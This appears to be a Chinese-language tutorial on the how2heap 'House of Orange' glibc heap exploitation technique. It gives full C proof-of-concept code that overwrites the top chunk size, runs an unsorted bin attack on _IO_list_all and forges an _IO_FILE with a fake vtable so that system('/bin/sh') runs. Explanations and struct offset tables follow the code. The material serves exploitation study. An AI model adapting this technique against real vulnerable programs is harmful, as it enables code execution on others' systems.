1. #include <stdio.h>
    2. #include <stdlib.h>
    3. #include <string.h>
    4. int winner ( char *ptr);
    5. int main()
    6. {
    7. char *p1, *p2;
    8. size_t io_list_all, *top;
    9. fprintf(stderr, "首先 malloc 一块 0x400 大小的 chunk\n");
    10. p1 = malloc(0x400-16);
    11. fprintf(stderr, "假设存在堆溢出,把 top chunk 的 size 给改为一个比较小的 0xc01\n");
    12. top = (size_t *) ( (char *) p1 + 0x400 - 16);
    13. top[1] = 0xc01;
    14. fprintf(stderr, "再去 malloc 一个挺大的 chunk 的时候,因为 top chunk 不够大所以会把现在的 top chunk 给 free 掉,我们称它为 old top chunk\n");
    15. p2 = malloc(0x1000);
    16. fprintf(stderr, "这时候 top[2] 跟 top[3] 是 unsortedbin 的地址了,然后 _IO_list_all 跟 unsortedbin 的偏移是 0x9a8,计算得到 _IO_list_all\n");
    17. io_list_all = top[2] + 0x9a8;
    18. fprintf(stderr, "设置 old top chunk 的 bk 指针为 io_list_all - 0x10 待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址\n");
    19. top[3] = io_list_all - 0x10;
    20. fprintf(stderr, "将字符串/bin/sh放到 old top chunk 的开头,并且把 size 改为 0x61,这里改为 0x61 是因为这个大小属于 smallbin[4],它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样\n");
    21. memcpy( ( char *) top, "/bin/sh\x00", 8);
    22. top[1] = 0x61;
    23. _IO_FILE *fp = (_IO_FILE *) top;
    24. fprintf(stderr, "后面就是为了满足一些检查了,包括:fp->_mode = 0、_IO_write_base 小于 _IO_write_ptr\n");
    25. fp->_mode = 0;
    26. fp->_IO_write_base = (char *) 2;
    27. fp->_IO_write_ptr = (char *) 3;
    28. fprintf(stderr, "然后定位到 jump_table[3] 也就是 _IO_OVERFLOW 改为 system 函数的地址\n");
    29. size_t *jump_table = &top[12];
    30. jump_table[3] = (size_t) &winner;
    31. fprintf(stderr, "最后把 io_list_all 的 vatble 改为我们想让他找的那个 jump_table,然后去 malloc 一个触发就可以了\n");
    32. *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;
    33. malloc(10);
    34. return 0;
    35. }
    36. int winner(char *ptr)
    37. {
    38. system(ptr);
    39. return 0;
    40. }

    一开始申请了一个 chunk,此时 top chunk 的 size 是 0x20c00

    image.png

    假设有个溢出的漏洞,可以把 top chunk 的 size 给修改掉,改成一个小的数

    image.png

    再去 malloc 一个比较大的数的时候,原本的 top chunk 不够分给它的,所以就会被放到 unsorted bin 中,可以看到 fd、bk 被改成了 unsorted bin 的地址

    image.png

    然后 unsorted bin 的地址跟 _IO_list_all 的地址偏移是 0x9a8,可以得到 _IO_list_all 的地址

    image.png

    修改掉 unsortedbin 的 bk 指针,等到 malloc 的时候利用 unsortedbin attack 把 _IO_list_all 改为 unsorted bin 的地址,然后把 old top chunk 写上 ‘/bin/sh’ 并且去修改掉 old top chunk 的 size 为 0x61,为啥改为这个大小后面会说

    然后对 old top chunk 进行修改去满足检查条件

    1. fp->_mode = 0;
    2. fp->_IO_write_base = (char *) 2;
    3. fp->_IO_write_ptr = (char *) 3;

    然后把 jump_table 指向 &top[12],再把 jump_table[3] 改为我们想要执行的那个函数的地址,然后让 vtable 指向 jump_table

    1. size_t *jump_table = &top[12];
    2. jump_table[3] = (size_t) &winner;
    3. *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;

    image.png

    因为 unsorted bin 被改掉了当 malloc 的时候会出错,会依次调用 malloc_printerr、 __libc_message、abort()、_IO_flush_all_lockp(),在调用 _IO_flush_all_lockp() 的时候需要在 vtable 中找 _IO_OVERFLOW,而 _IO_OVERFLOW 我们已经覆盖掉为 winner 的地址了,而早在之前我们就把前面写上了 ‘/bin/sh’ 这样就可以达到执行 system(‘/bin/sh’) 了

    害,其实就是这样的:通过 unsorted bin attack 把 _IO_list_all 改成 unsorted bin 的地址,然后因为我们把 old top chunk 的 size 改为了 0x61 属于 smallbin,恰好这个大小的 smallbin 相对 unsorted bin 的偏移与 _chain 相对 _IO_list_all 的偏移是一样的

    image.png
    (感觉不太准确,但大概是这么个意思)

    而通过 unsorted bin attack 我们把 _IO_list_all 改成了 unsorted bin 的地址,这样 _chain 指向的就是 old top chunk 的地址了
    我们的那些伪造的操作也是在 old top chunk 上做的,我对 how2heap 的代码做了点替换,对着下面的图片与偏移更容易理解是怎么伪造的

    1. //fp->_mode = 0;
    2. top[24] = 0;
    3. //fp->_IO_write_base = (char *) 2;
    4. top[4]=(char *)2;
    5. //fp->_IO_write_ptr = (char *) 3;
    6. top[5]=(char *)3;
    7. //size_t *jump_table = &top[12];
    8. //jump_table[3] = (size_t) &winner;
    9. top[15]=(size_t) &winner;
    10. //*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;
    11. top[27]= (size_t) &top[12];

    image.png

    1. 0x0 _flags
    2. 0x8 _IO_read_ptr
    3. 0x10 _IO_read_end
    4. 0x18 _IO_read_base
    5. 0x20 _IO_write_base
    6. 0x28 _IO_write_ptr
    7. 0x30 _IO_write_end
    8. 0x38 _IO_buf_base
    9. 0x40 _IO_buf_end
    10. 0x48 _IO_save_base
    11. 0x50 _IO_backup_base
    12. 0x58 _IO_save_end
    13. 0x60 _markers
    14. 0x68 _chain
    15. 0x70 _fileno
    16. 0x74 _flags2
    17. 0x78 _old_offset
    18. 0x80 _cur_column
    19. 0x82 _vtable_offset
    20. 0x83 _shortbuf
    21. 0x88 _lock
    22. 0x90 _offset
    23. 0x98 _codecvt
    24. 0xa0 _wide_data
    25. 0xa8 _freeres_list
    26. 0xb0 _freeres_buf
    27. 0xb8 __pad5
    28. 0xc0 _mode
    29. 0xc4 _unused2
    30. 0xd8 vtable
    1. IO_jump_t *vtable:
    2. void * funcs[] = {
    3. 1 NULL, // "extra word"
    4. 2 NULL, // DUMMY
    5. 3 exit, // finish
    6. 4 NULL, // overflow
    7. 5 NULL, // underflow
    8. 6 NULL, // uflow
    9. 7 NULL, // pbackfail
    10. 8 NULL, // xsputn #printf
    11. 9 NULL, // xsgetn
    12. 10 NULL, // seekoff
    13. 11 NULL, // seekpos
    14. 12 NULL, // setbuf
    15. 13 NULL, // sync
    16. 14 NULL, // doallocate
    17. 15 NULL, // read
    18. 16 NULL, // write
    19. 17 NULL, // seek
    20. 18 pwn, // close
    21. 19 NULL, // stat
    22. 20 NULL, // showmanyc
    23. 21 NULL, // imbue
    24. };

    参考:https://bbs.pediy.com/thread-223334.htm
    https://nightrainy.github.io/2020/02/02/how2heap%E6%80%BB%E7%BB%93%E8%AE%A1%E5%88%92%E4%B8%83/